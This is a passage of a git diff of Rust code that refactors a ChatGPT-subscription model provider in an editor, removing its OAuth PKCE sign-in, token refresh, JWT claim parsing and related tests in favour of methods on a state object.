-                ReasoningEffort::Medium,
-                ReasoningEffort::High,
-                ReasoningEffort::XHigh,
-                ReasoningEffort::Max,
-            ],
-            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => &[
-                ReasoningEffort::Low,
-                ReasoningEffort::Medium,
-                ReasoningEffort::High,
-                ReasoningEffort::XHigh,
-            ],
-        }
-    }
-
-    fn supports_parallel_tool_calls(&self) -> bool {
-        true
-    }
-
-    fn supports_prompt_cache_key(&self) -> bool {
-        true
-    }
-
-    fn supports_priority(&self) -> bool {
-        match self {
-            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 => true,
-            Self::Gpt54Mini => false,
-        }
-    }
-}
-
-struct OpenAiSubscribedLanguageModel {
-    id: LanguageModelId,
-    model: ChatGptModel,
-    state: Entity<State>,
-    http_client: Arc<dyn HttpClient>,
-    request_limiter: RateLimiter,
-}
-
-impl LanguageModel for OpenAiSubscribedLanguageModel {
-    fn id(&self) -> LanguageModelId {
-        self.id.clone()
-    }
-
-    fn name(&self) -> LanguageModelName {
-        LanguageModelName::from(self.model.display_name().to_string())
-    }
-
-    fn provider_id(&self) -> LanguageModelProviderId {
-        PROVIDER_ID
-    }
-
-    fn provider_name(&self) -> LanguageModelProviderName {
-        PROVIDER_NAME
-    }
-
-    fn supports_tools(&self) -> bool {
-        true
-    }
-
-    fn supports_images(&self) -> bool {
-        self.model.supports_images()
-    }
-
-    fn supports_tool_choice(&self, _choice: LanguageModelToolChoice) -> bool {
-        true
-    }
-
-    fn supports_streaming_tools(&self) -> bool {
-        true
-    }
-
-    fn supports_thinking(&self) -> bool {
-        true
-    }
-
-    fn supports_fast_mode(&self) -> bool {
-        self.model.supports_priority()
-    }
-
-    fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
-        let default_effort = self.model.default_reasoning_effort();
-        self.model
-            .supported_reasoning_efforts()
-            .iter()
-            .copied()
-            .filter_map(|effort| {
-                let (name, value) = match effort {
-                    ReasoningEffort::None => return None,
-                    ReasoningEffort::Minimal => ("Minimal", "minimal"),
-                    ReasoningEffort::Low => ("Low", "low"),
-                    ReasoningEffort::Medium => ("Medium", "medium"),
-                    ReasoningEffort::High => ("High", "high"),
-                    ReasoningEffort::XHigh => ("Extra High", "xhigh"),
-                    ReasoningEffort::Max => ("Max", "max"),
-                };
-
-                Some(LanguageModelEffortLevel {
-                    name: name.into(),
-                    value: value.into(),
-                    is_default: Some(effort) == default_effort,
-                })
-            })
-            .collect()
-    }
-
-    fn telemetry_id(&self) -> String {
-        format!("openai-subscribed/{}", self.model.id())
-    }
-
-    fn max_token_count(&self) -> u64 {
-        self.model.max_token_count()
-    }
-
-    fn max_output_tokens(&self) -> Option<u64> {
-        self.model.max_output_tokens()
-    }
-
-    fn stream_completion(
-        &self,
-        mut request: LanguageModelRequest,
-        cx: &AsyncApp,
-    ) -> BoxFuture<
-        'static,
-        Result<
-            futures::stream::BoxStream<
-                'static,
-                Result<LanguageModelCompletionEvent, LanguageModelCompletionError>,
-            >,
-            LanguageModelCompletionError,
-        >,
-    > {
-        if !self.model.supports_priority() {
-            request.speed = None;
-        }
-
-        // The Codex backend rejects `max_output_tokens` (`Unsupported parameter`),
-        // unlike the public OpenAI Responses API. Pass `None` so the field is
-        // omitted from the serialized request body entirely.
-        let mut responses_request = match into_open_ai_response(
-            request,
-            self.model.id(),
-            self.model.supports_parallel_tool_calls(),
-            self.model.supports_prompt_cache_key(),
-            /*max_output_tokens*/ None,
-            self.model.default_reasoning_effort(),
-            self.model
-                .supported_reasoning_efforts()
-                .contains(&ReasoningEffort::None),
-            &PROVIDER_ID,
-        ) {
-            Ok(request) => request,
-            Err(error) => return async move { Err(error.into()) }.boxed(),
-        };
-        responses_request.store = Some(false);
-
-        // `into_open_ai_response` already hoists system messages into
-        // `instructions`, which is the only form the Codex backend accepts.
-        // Codex has only ever been sent requests with the field present
-        // (possibly empty), so keep sending it even without system messages.
-        responses_request.instructions.get_or_insert_default();
-
-        let state = self.state.downgrade();
-        let http_client = self.http_client.clone();
-        let request_limiter = self.request_limiter.clone();
-
-        let future = cx.spawn(async move |cx| {
-            let creds = get_fresh_credentials(&state, &http_client, cx).await?;
-
-            let mut header_pairs: Vec<(HeaderName, HeaderValue)> = vec![
-                (
-                    HeaderName::from_static("originator"),
-                    HeaderValue::from_static("zed"),
-                ),
-                (
-                    HeaderName::from_static("openai-beta"),
-                    HeaderValue::from_static("responses=experimental"),
-                ),
-            ];
-            if let Some(ref id) = creds.account_id {
-                if !id.is_empty() {
-                    if let Ok(value) = HeaderValue::from_str(id) {
-                        header_pairs.push((HeaderName::from_static("chatgpt-account-id"), value));
-                    }
-                }
-            }
-            let extra_headers = CustomHeaders::new(header_pairs);
-
-            let access_token = creds.access_token.clone();
-            request_limiter
-                .stream(async move {
-                    stream_response(
-                        http_client.as_ref(),
-                        PROVIDER_NAME.0.as_str(),
-                        CODEX_BASE_URL,
-                        &access_token,
-                        responses_request,
-                        &extra_headers,
-                    )
-                    .await
-                    .map_err(LanguageModelCompletionError::from)
-                })
-                .await
-        });
-
-        async move {
-            let mapper = OpenAiResponseEventMapper::new(PROVIDER_ID);
-            Ok(mapper.map_stream(future.await?.boxed()).boxed())
-        }
-        .boxed()
-    }
-}
-
-async fn get_fresh_credentials(
-    state: &gpui::WeakEntity<State>,
-    http_client: &Arc<dyn HttpClient>,
-    cx: &mut AsyncApp,
-) -> Result<CodexCredentials, LanguageModelCompletionError> {
-    let (creds, existing_task) = state
-        .read_with(&*cx, |s, _| (s.credentials.clone(), s.refresh_task.clone()))
-        .map_err(LanguageModelCompletionError::Other)?;
-
-    let creds = creds.ok_or(LanguageModelCompletionError::NoApiKey {
-        provider: PROVIDER_NAME,
-    })?;
-
-    if !creds.is_expired() {
-        return Ok(creds);
-    }
-
-    // If another caller is already refreshing, await their result.
-    if let Some(shared_task) = existing_task {
-        return shared_task
-            .await
-            .map_err(|e| LanguageModelCompletionError::Other(anyhow::anyhow!("{e}")));
-    }
-
-    // We are the first caller to notice expiry — spawn the refresh task.
-    let http_client_clone = http_client.clone();
-    let state_clone = state.clone();
-    let refresh_token_value = creds.refresh_token.clone();
-
-    // Capture the generation so we can detect sign-outs that happened during refresh.
-    let generation = state
-        .read_with(&*cx, |s, _| s.auth_generation)
-        .map_err(LanguageModelCompletionError::Other)?;
-
-    let shared_task = cx
-        .spawn(async move |cx| {
-            let result = refresh_token(&http_client_clone, &refresh_token_value).await;
-
-            match result {
-                Ok(refreshed) => {
-                    let persist_result: Result<CodexCredentials, Arc<anyhow::Error>> = async {
-                        // Check if auth_generation changed (sign-out during refresh).
-                        let current_generation = state_clone
-                            .read_with(&*cx, |s, _| s.auth_generation)
-                            .map_err(|e| Arc::new(e))?;
-                        if current_generation != generation {
-                            return Err(Arc::new(anyhow!(
-                                "Sign-out occurred during token refresh"
-                            )));
-                        }
-
-                        let credentials_provider = state_clone
-                            .read_with(&*cx, |s, _| s.credentials_provider.clone())
-                            .map_err(|e| Arc::new(e))?;
-
-                        let json =
-                            serde_json::to_vec(&refreshed).map_err(|e| Arc::new(e.into()))?;
-
-                        credentials_provider
-                            .write_credentials(CREDENTIALS_KEY, "Bearer", &json, &*cx)
-                            .await
-                            .map_err(|e| Arc::new(e))?;
-
-                        state_clone
-                            .update(cx, |s, _| {
-                                s.credentials = Some(refreshed.clone());
-                                s.refresh_task = None;
-                            })
-                            .map_err(|e| Arc::new(e))?;
-
-                        Ok(refreshed)
-                    }
-                    .await;
-
-                    // Clear refresh_task on failure too.
-                    if persist_result.is_err() {
-                        let _ = state_clone.update(cx, |s, _| {
-                            s.refresh_task = None;
-                        });
-                    }
-
-                    persist_result
-                }
-                Err(RefreshError::Fatal(e)) => {
-                    log::error!("ChatGPT subscription token refresh failed fatally: {e:?}");
-                    let _ = state_clone.update(cx, |s, cx| {
-                        s.refresh_task = None;
-                        s.credentials = None;
-                        s.last_auth_error =
-                            Some("Your session has expired. Please sign in again.".into());
-                        cx.notify();
-                    });
-                    // Also clear the keychain so stale credentials aren't loaded next time.
-                    if let Ok(credentials_provider) =
-                        state_clone.read_with(&*cx, |s, _| s.credentials_provider.clone())
-                    {
-                        credentials_provider
-                            .delete_credentials(CREDENTIALS_KEY, &*cx)
-                            .await
-                            .log_err();
-                    }
-                    Err(Arc::new(e))
-                }
-                Err(RefreshError::Transient(e)) => {
-                    log::warn!("ChatGPT subscription token refresh failed transiently: {e:?}");
-                    let _ = state_clone.update(cx, |s, _| {
-                        s.refresh_task = None;
-                    });
-                    Err(Arc::new(e))
-                }
-            }
-        })
-        .shared();
-
-    // Store the shared task so concurrent callers can join on it.
-    state
-        .update(cx, |s, _| {
-            s.refresh_task = Some(shared_task.clone());
-        })
-        .map_err(LanguageModelCompletionError::Other)?;
-
-    shared_task
-        .await
-        .map_err(|e| LanguageModelCompletionError::Other(anyhow::anyhow!("{e}")))
-}
-
-#[derive(Deserialize)]
-struct TokenResponse {
-    access_token: String,
-    refresh_token: String,
-    #[serde(default)]
-    id_token: Option<String>,
-    expires_in: u64,
-    #[serde(default)]
-    email: Option<String>,
-}
-
-// The OAuth client registered for `CLIENT_ID` (the Codex CLI's client) only allows
-// `http://localhost:1455/auth/callback` and `http://localhost:1457/auth/callback`
-// as redirect URIs; using anything else (different host, port, or path) causes
-// auth.openai.com to reject the authorize request with a generic `unknown_error`
-// before redirecting back. Keep these in sync with the Codex CLI's redirect URI
-// allow-list (see codex-rs/login/src/server.rs in openai/codex).
-const CODEX_CALLBACK_HOST: &str = "localhost";
-const CODEX_CALLBACK_PORT: u16 = 1455;
-const CODEX_CALLBACK_FALLBACK_PORT: u16 = 1457;
-const CODEX_CALLBACK_PATH: &str = "/auth/callback";
-
-async fn do_oauth_flow(
-    http_client: Arc<dyn HttpClient>,
-    cx: &AsyncApp,
-) -> Result<CodexCredentials> {
-    // Start the callback server FIRST so the redirect URI is ready
-    let (redirect_uri, callback_rx) =
-        oauth_callback_server::start_oauth_callback_server_with_config(
-            oauth_callback_server::OAuthCallbackServerConfig {
-                host: CODEX_CALLBACK_HOST,
-                preferred_port: CODEX_CALLBACK_PORT,
-                fallback_port: Some(CODEX_CALLBACK_FALLBACK_PORT),
-                path: CODEX_CALLBACK_PATH,
-            },
-        )
-        .context("Failed to start OAuth callback server")?;
-
-    // PKCE verifier: 32 random bytes → base64url (no padding)
-    let mut verifier_bytes = [0u8; 32];
-    rand::rng().fill_bytes(&mut verifier_bytes);
-    let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
-
-    // PKCE challenge: SHA-256(verifier) → base64url
-    let mut hasher = Sha256::new();
-    hasher.update(verifier.as_bytes());
-    let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize().as_slice());
-
-    // CSRF state: 16 random bytes → hex string
-    let mut state_bytes = [0u8; 16];
-    rand::rng().fill_bytes(&mut state_bytes);
-    let oauth_state: String = state_bytes.iter().map(|b| format!("{b:02x}")).collect();
-
-    let mut auth_url = url::Url::parse(OPENAI_AUTHORIZE_URL).expect("valid base URL");
-    auth_url
-        .query_pairs_mut()
-        .append_pair("client_id", CLIENT_ID)
-        .append_pair("redirect_uri", &redirect_uri)
-        // Deliberately excludes `api.connectors.read api.connectors.invoke`
-        // (which Codex CLI requests): extra scopes inflate the
-        // access-token JWT, and the serialized credentials must fit within
-        // Windows Credential Manager's 2560-byte blob limit
-        // (CRED_MAX_CREDENTIAL_BLOB_SIZE). See #58541.
-        .append_pair("scope", "openid profile email offline_access")
-        .append_pair("response_type", "code")
-        .append_pair("code_challenge", &challenge)
-        .append_pair("code_challenge_method", "S256")
-        .append_pair("id_token_add_organizations", "true")
-        .append_pair("state", &oauth_state)
-        .append_pair("codex_cli_simplified_flow", "true")
-        .append_pair("originator", "zed");
-
-    // Open browser AFTER the listener is ready
-    cx.update(|cx| cx.open_url(auth_url.as_str()));
-
-    // Await the callback
-    let callback = callback_rx
-        .await
-        .map_err(|_| anyhow!("OAuth callback was cancelled"))?
-        .context("OAuth callback failed")?;
-
-    // Validate CSRF state
-    if callback.state != oauth_state {
-        return Err(anyhow!("OAuth state mismatch"));
-    }
-
-    let tokens = exchange_code(&http_client, &callback.code, &verifier, &redirect_uri)
-        .await
-        .context("Token exchange failed")?;
-
-    let jwt = tokens
-        .id_token
-        .as_deref()
-        .unwrap_or(tokens.access_token.as_str());
-    let claims = extract_jwt_claims(jwt);
-
-    Ok(CodexCredentials {
-        access_token: tokens.access_token,
-        refresh_token: tokens.refresh_token,
-        expires_at_ms: now_ms() + tokens.expires_in * 1000,
-        account_id: claims.account_id,
-        email: claims.email.or(tokens.email),
-    })
-}
-
-async fn exchange_code(
-    client: &Arc<dyn HttpClient>,
-    code: &str,
-    verifier: &str,
-    redirect_uri: &str,
-) -> Result<TokenResponse> {
-    let body = form_urlencoded::Serializer::new(String::new())
-        .append_pair("grant_type", "authorization_code")
-        .append_pair("client_id", CLIENT_ID)
-        .append_pair("code", code)
-        .append_pair("redirect_uri", redirect_uri)
-        .append_pair("code_verifier", verifier)
-        .finish();
-
-    let request = HttpRequest::builder()
-        .method(Method::POST)
-        .uri(OPENAI_TOKEN_URL)
-        .header("Content-Type", "application/x-www-form-urlencoded")
-        .body(AsyncBody::from(body))?;
-
-    let mut response = client.send(request).await?;
-    let mut body = String::new();
-    smol::io::AsyncReadExt::read_to_string(response.body_mut(), &mut body).await?;
-
-    if !response.status().is_success() {
-        return Err(anyhow!(
-            "Token exchange failed (HTTP {}): {body}",
-            response.status()
-        ));
-    }
-
-    serde_json::from_str::<TokenResponse>(&body).context("Failed to parse token response")
-}
-
-async fn refresh_token(
-    client: &Arc<dyn HttpClient>,
-    refresh_token: &str,
-) -> Result<CodexCredentials, RefreshError> {
-    let body = form_urlencoded::Serializer::new(String::new())
-        .append_pair("grant_type", "refresh_token")
-        .append_pair("client_id", CLIENT_ID)
-        .append_pair("refresh_token", refresh_token)
-        .finish();
-
-    let request = HttpRequest::builder()
-        .method(Method::POST)
-        .uri(OPENAI_TOKEN_URL)
-        .header("Content-Type", "application/x-www-form-urlencoded")
-        .body(AsyncBody::from(body))
-        .map_err(|e| RefreshError::Transient(e.into()))?;
-
-    let mut response = client
-        .send(request)
-        .await
-        .map_err(|e| RefreshError::Transient(e))?;
-    let status = response.status();
-    let mut body = String::new();
-    smol::io::AsyncReadExt::read_to_string(response.body_mut(), &mut body)
-        .await
-        .map_err(|e| RefreshError::Transient(e.into()))?;
-
-    if !status.is_success() {
-        let err = anyhow!("Token refresh failed (HTTP {}): {body}", status);
-        // 400/401/403 indicate a revoked or invalid refresh token.
-        // 5xx and other errors are treated as transient.
-        if status == http_client::StatusCode::BAD_REQUEST
-            || status == http_client::StatusCode::UNAUTHORIZED
-            || status == http_client::StatusCode::FORBIDDEN
-        {
-            return Err(RefreshError::Fatal(err));
-        }
-        return Err(RefreshError::Transient(err));
-    }
-
-    let tokens: TokenResponse =
-        serde_json::from_str(&body).map_err(|e| RefreshError::Transient(e.into()))?;
-    let jwt = tokens
-        .id_token
-        .as_deref()
-        .unwrap_or(tokens.access_token.as_str());
-    let claims = extract_jwt_claims(jwt);
-
-    Ok(CodexCredentials {
-        access_token: tokens.access_token,
-        refresh_token: tokens.refresh_token,
-        expires_at_ms: now_ms() + tokens.expires_in * 1000,
-        account_id: claims.account_id,
-        email: claims.email.or(tokens.email),
-    })
-}
-
-struct JwtClaims {
-    account_id: Option<String>,
-    email: Option<String>,
-}
-
-/// Extract claims from a JWT payload (base64url middle segment).
-/// Extracts `chatgpt_account_id` from three possible locations (matching Roo Code's
-/// implementation) and the `email` claim.
-fn extract_jwt_claims(jwt: &str) -> JwtClaims {
-    let Some(payload_b64) = jwt.split('.').nth(1) else {
-        return JwtClaims {
-            account_id: None,
-            email: None,
-        };
-    };
-    let Ok(payload) = URL_SAFE_NO_PAD.decode(payload_b64) else {
-        return JwtClaims {
-            account_id: None,
-            email: None,
-        };
-    };
-    let Ok(claims) = serde_json::from_slice::<serde_json::Value>(&payload) else {
-        return JwtClaims {
-            account_id: None,
-            email: None,
-        };
-    };
-
-    let account_id = claims
-        .get("chatgpt_account_id")
-        .and_then(|v| v.as_str())
-        .or_else(|| {
-            claims
-                .get("https://api.openai.com/auth")
-                .and_then(|v| v.get("chatgpt_account_id"))
-                .and_then(|v| v.as_str())
-        })
-        .or_else(|| {
-            claims
-                .get("organizations")
-                .and_then(|v| v.as_array())
-                .and_then(|arr| arr.first())
-                .and_then(|org| org.get("id"))
-                .and_then(|v| v.as_str())
-        })
-        .map(|s| s.to_owned());
-
-    let email = claims
-        .get("email")
-        .and_then(|v| v.as_str())
-        .map(|s| s.to_owned());
-
-    JwtClaims { account_id, email }
-}
-
-fn now_ms() -> u64 {
-    SystemTime::now()
-        .duration_since(UNIX_EPOCH)
-        .map(|d| d.as_millis() as u64)
-        .unwrap_or_else(|err| {
-            log::error!("System clock is before UNIX epoch: {err}");
-            0
-        })
-}
-
-fn do_sign_in(state: &Entity<State>, http_client: &Arc<dyn HttpClient>, cx: &mut App) {
-    if state.read(cx).is_signing_in() {
-        return;
-    }
-
-    let weak_state = state.downgrade();
-    let http_client = http_client.clone();
-
-    let task = cx.spawn(async move |cx| {
-        match do_oauth_flow(http_client, &*cx).await {
-            Ok(creds) => {
-                let persist_result = async {
-                    let credentials_provider =
-                        weak_state.read_with(&*cx, |s, _| s.credentials_provider.clone())?;
-                    let json = serde_json::to_vec(&creds)?;
-                    credentials_provider
-                        .write_credentials(CREDENTIALS_KEY, "Bearer", &json, &*cx)
-                        .await?;
-                    anyhow::Ok(())
-                }
-                .await;
-
-                match persist_result {
-                    Ok(()) => {
-                        weak_state
-                            .update(cx, |s, cx| {
-                                s.credentials = Some(creds);
-                                s.sign_in_task = None;
-                                s.last_auth_error = None;
-                                cx.notify();
-                            })
-                            .log_err();
-                    }
-                    Err(err) => {
-                        log::error!(
-                            "ChatGPT subscription sign-in failed to persist credentials: {err:?}"
-                        );
-                        weak_state
-                            .update(cx, |s, cx| {
-                                s.sign_in_task = None;
-                                s.last_auth_error =
-                                    Some("Failed to save credentials. Please try again.".into());
-                                cx.notify();
-                            })
-                            .log_err();
-                    }
-                }
-            }
-            Err(err) => {
-                log::error!("ChatGPT subscription sign-in failed: {err:?}");
-                weak_state
-                    .update(cx, |s, cx| {
-                        s.sign_in_task = None;
-                        s.last_auth_error = Some("Sign-in failed. Please try again.".into());
-                        cx.notify();
-                    })
-                    .log_err();
-            }
-        }
-        anyhow::Ok(())
-    });
-
-    state.update(cx, |s, cx| {
-        s.last_auth_error = None;
-        s.sign_in_task = Some(task);
-        cx.notify();
-    });
-}
-
-fn do_sign_out(state: &gpui::WeakEntity<State>, cx: &mut App) -> Task<Result<()>> {
-    let weak_state = state.clone();
-    // Clear credentials and cancel in-flight work immediately so the UI
-    // reflects the sign-out right away.
-    weak_state
-        .update(cx, |s, cx| {
-            s.auth_generation += 1;
-            s.credentials = None;
-            s.sign_in_task = None;
-            s.refresh_task = None;
-            s.last_auth_error = None;
-            cx.notify();
-        })
-        .log_err();
-
-    cx.spawn(async move |cx| {
-        let credentials_provider =
-            weak_state.read_with(&*cx, |s, _| s.credentials_provider.clone())?;
-        credentials_provider
-            .delete_credentials(CREDENTIALS_KEY, &*cx)
-            .await
-            .context("Failed to delete ChatGPT subscription credentials from keychain")?;
-        anyhow::Ok(())
-    })
-}
-
 struct ConfigurationView {
     state: Entity<State>,
-    http_client: Arc<dyn HttpClient>,
     /// When `true`, the description is rendered elsewhere (the settings row's
     /// left column), so it's omitted here to avoid duplication.
     compact: bool,
@@ -1093,22 +174,23 @@ impl Render for ConfigurationView {
                 .map(|e| format!("Signed in as {e}"))
                 .unwrap_or_else(|| "Signed in".to_string());
 
-            let weak_state = self.state.downgrade();
+            let state_entity = self.state.clone();
 
             return v_flex()
                 .child(
                     ConfiguredApiCard::new("openai-subscribed-sign-out", SharedString::from(label))
                         .button_label("Sign Out")
                         .on_click(cx.listener(move |_this, _, _window, cx| {
-                            do_sign_out(&weak_state, cx).detach_and_log_err(cx);
+                            state_entity
+                                .update(cx, |state, cx| state.sign_out(cx))
+                                .detach_and_log_err(cx);
                         })),
                 )
                 .into_any_element();
         }
 
-        let last_auth_error = state.last_auth_error.clone();
+        let last_auth_error = state.last_auth_error();
         let provider_state = self.state.clone();
-        let http_client = self.http_client.clone();
 
         let is_signing_in = state.is_signing_in();
         let button_label = if is_signing_in {
@@ -1130,7 +212,7 @@ impl Render for ConfigurationView {
                     .loading(is_signing_in)
                     .disabled(is_signing_in)
                     .on_click(move |_, _window, cx| {
-                        do_sign_in(&provider_state, &http_client, cx);
+                        provider_state.update(cx, |state, cx| state.sign_in(cx));
                     }),
             )
             .when_some(last_auth_error, |this, error| {
@@ -1153,12 +235,48 @@ impl Render for ConfigurationView {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use gpui::TestAppContext;
+    use gpui::{AsyncApp, TestAppContext};
     use http_client::FakeHttpClient;
     use parking_lot::Mutex;
     use std::future::Future;
     use std::pin::Pin;
-    use std::sync::atomic::{AtomicUsize, Ordering};
+
+    #[gpui::test]
+    async fn test_authenticate_awaits_initial_load(cx: &mut TestAppContext) {
+        let creds_json = serde_json::json!({
+            "access_token": "fresh_access",
+            "refresh_token": "fresh_refresh",
+            "expires_at_ms": u64::MAX,
+            "account_id": null,
+            "email": null,
+        });
+        let creds_provider = Arc::new(FakeCredentialsProvider::new());
+        creds_provider.storage.lock().replace((
+            "Bearer".to_string(),
+            serde_json::to_vec(&creds_json).unwrap(),
+        ));
+
+        let http_client = FakeHttpClient::create(|_| async {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(http_client::AsyncBody::default())?)
+        });
+
+        let provider =
+            cx.update(|cx| OpenAiSubscribedProvider::new(http_client, creds_provider, cx));
+
+        // Before load completes, authenticate should still await the load.
+        let auth_task = cx.update(|cx| provider.authenticate(cx));
+
+        // Drive the load to completion.
+        cx.run_until_parked();
+
+        let result = auth_task.await;
+        assert!(
+            result.is_ok(),
+            "authenticate should succeed after load completes with valid credentials"
+        );
+    }
 
     struct FakeCredentialsProvider {
         storage: Mutex<Option<(String, Vec<u8>)>>,
@@ -1203,387 +321,4 @@ mod tests {
             Box::pin(async { Ok(()) })
         }
     }
-
-    fn make_expired_credentials() -> CodexCredentials {
-        CodexCredentials {
-            access_token: "old_access".to_string(),
-            refresh_token: "old_refresh".to_string(),
-            expires_at_ms: 0,
-            account_id: None,
-            email: None,
-        }
-    }
-
-    fn make_fresh_credentials() -> CodexCredentials {
-        CodexCredentials {
-            access_token: "fresh_access".to_string(),
-            refresh_token: "fresh_refresh".to_string(),
-            expires_at_ms: now_ms() + 3_600_000,
-            account_id: None,
-            email: None,
-        }
-    }
-
-    fn fake_token_response() -> String {
-        serde_json::json!({
-            "access_token": "fresh_access",
-            "refresh_token": "fresh_refresh",
-            "expires_in": 3600
-        })
-        .to_string()
-    }
-
-    #[gpui::test]
-    async fn test_concurrent_refresh_deduplicates(cx: &mut TestAppContext) {
-        let refresh_count = Arc::new(AtomicUsize::new(0));
-        let refresh_count_clone = refresh_count.clone();
-
-        let http_client = FakeHttpClient::create(move |_request| {
-            let refresh_count = refresh_count_clone.clone();
-            async move {
-                refresh_count.fetch_add(1, Ordering::SeqCst);
-                let body = fake_token_response();
-                Ok(http_client::Response::builder()
-                    .status(200)
-                    .body(http_client::AsyncBody::from(body))?)
-            }
-        });
-
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_expired_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: Arc::new(FakeCredentialsProvider::new()),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        // Spawn two concurrent refresh attempts.
-        let weak1 = weak_state.clone();
-        let http1 = http.clone();
-        let task1 =
-            cx.spawn(async move |mut cx| get_fresh_credentials(&weak1, &http1, &mut cx).await);
-
-        let weak2 = weak_state.clone();
-        let http2 = http.clone();
-        let task2 =
-            cx.spawn(async move |mut cx| get_fresh_credentials(&weak2, &http2, &mut cx).await);
-
-        // Drive both to completion.
-        cx.run_until_parked();
-        let result1 = task1.await;
-        let result2 = task2.await;
-
-        assert!(result1.is_ok(), "first refresh should succeed");
-        assert!(result2.is_ok(), "second refresh should succeed");
-        assert_eq!(result1.unwrap().access_token, "fresh_access");
-        assert_eq!(result2.unwrap().access_token, "fresh_access");
-        assert_eq!(
-            refresh_count.load(Ordering::SeqCst),
-            1,
-            "refresh_token should only be called once despite two concurrent callers"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_fresh_credentials_skip_refresh(cx: &mut TestAppContext) {
-        let refresh_count = Arc::new(AtomicUsize::new(0));
-        let refresh_count_clone = refresh_count.clone();
-
-        let http_client = FakeHttpClient::create(move |_request| {
-            let refresh_count = refresh_count_clone.clone();
-            async move {
-                refresh_count.fetch_add(1, Ordering::SeqCst);
-                let body = fake_token_response();
-                Ok(http_client::Response::builder()
-                    .status(200)
-                    .body(http_client::AsyncBody::from(body))?)
-            }
-        });
-
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_fresh_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: Arc::new(FakeCredentialsProvider::new()),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        let weak = weak_state.clone();
-        let http_clone = http.clone();
-        let result = cx
-            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
-            .await;
-
-        assert!(result.is_ok());
-        assert_eq!(result.unwrap().access_token, "fresh_access");
-        assert_eq!(
-            refresh_count.load(Ordering::SeqCst),
-            0,
-            "no refresh should happen when credentials are fresh"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_no_credentials_returns_no_api_key(cx: &mut TestAppContext) {
-        let http_client = FakeHttpClient::create(|_| async {
-            Ok(http_client::Response::builder()
-                .status(200)
-                .body(http_client::AsyncBody::default())?)
-        });
-
-        let state = cx.new(|_cx| State {
-            credentials: None,
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: Arc::new(FakeCredentialsProvider::new()),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        let weak = weak_state.clone();
-        let http_clone = http.clone();
-        let result = cx
-            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
-            .await;
-
-        assert!(matches!(
-            result,
-            Err(LanguageModelCompletionError::NoApiKey { .. })
-        ));
-    }
-
-    #[gpui::test]
-    async fn test_fatal_refresh_clears_auth_state(cx: &mut TestAppContext) {
-        let http_client = FakeHttpClient::create(move |_request| async move {
-            Ok(http_client::Response::builder()
-                .status(401)
-                .body(http_client::AsyncBody::from(r#"{"error":"invalid_grant"}"#))?)
-        });
-
-        let creds_provider = Arc::new(FakeCredentialsProvider::new());
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_expired_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: creds_provider.clone(),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        let weak = weak_state.clone();
-        let http_clone = http.clone();
-        let result = cx
-            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
-            .await;
-
-        cx.run_until_parked();
-
-        assert!(result.is_err(), "fatal refresh should return an error");
-        cx.read(|cx| {
-            let s = state.read(cx);
-            assert!(
-                s.credentials.is_none(),
-                "credentials should be cleared on fatal refresh failure"
-            );
-            assert!(
-                s.last_auth_error.is_some(),
-                "last_auth_error should be set on fatal refresh failure"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_transient_refresh_keeps_credentials(cx: &mut TestAppContext) {
-        let http_client = FakeHttpClient::create(move |_request| async move {
-            Ok(http_client::Response::builder()
-                .status(500)
-                .body(http_client::AsyncBody::from("Internal Server Error"))?)
-        });
-
-        let state = cx.new(|_cx| State {
-            credentials: Some(make_expired_credentials()),
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider: Arc::new(FakeCredentialsProvider::new()),
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let weak_state = cx.read(|_cx| state.downgrade());
-        let http: Arc<dyn HttpClient> = http_client;
-
-        let weak = weak_state.clone();
-        let http_clone = http.clone();
-        let result = cx
-            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
-            .await;
-
-        cx.run_until_parked();
-
-        assert!(result.is_err(), "transient refresh should return an error");
-        cx.read(|cx| {
-            let s = state.read(cx);
-            assert!(
-                s.credentials.is_some(),
-                "credentials should be kept on transient refresh failure"
-            );
-            assert!(
-                s.last_auth_error.is_none(),
-                "last_auth_error should not be set on transient refresh failure"
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_sign_out_during_refresh_discards_result(cx: &mut TestAppContext) {
-        let (gate_tx, gate_rx) = futures::channel::oneshot::channel::<()>();
-        let gate_rx = Arc::new(Mutex::new(Some(gate_rx)));
-        let gate_rx_clone = gate_rx.clone();
-
-        let http_client = FakeHttpClient::create(move |_request| {
-            let gate_rx = gate_rx_clone.clone();
-            async move {
-                // Wait until the gate is opened, simulating a slow network.
-                let rx = gate_rx.lock().take();
-                if let Some(rx) = rx {
-                    let _ = rx.await;
-                }
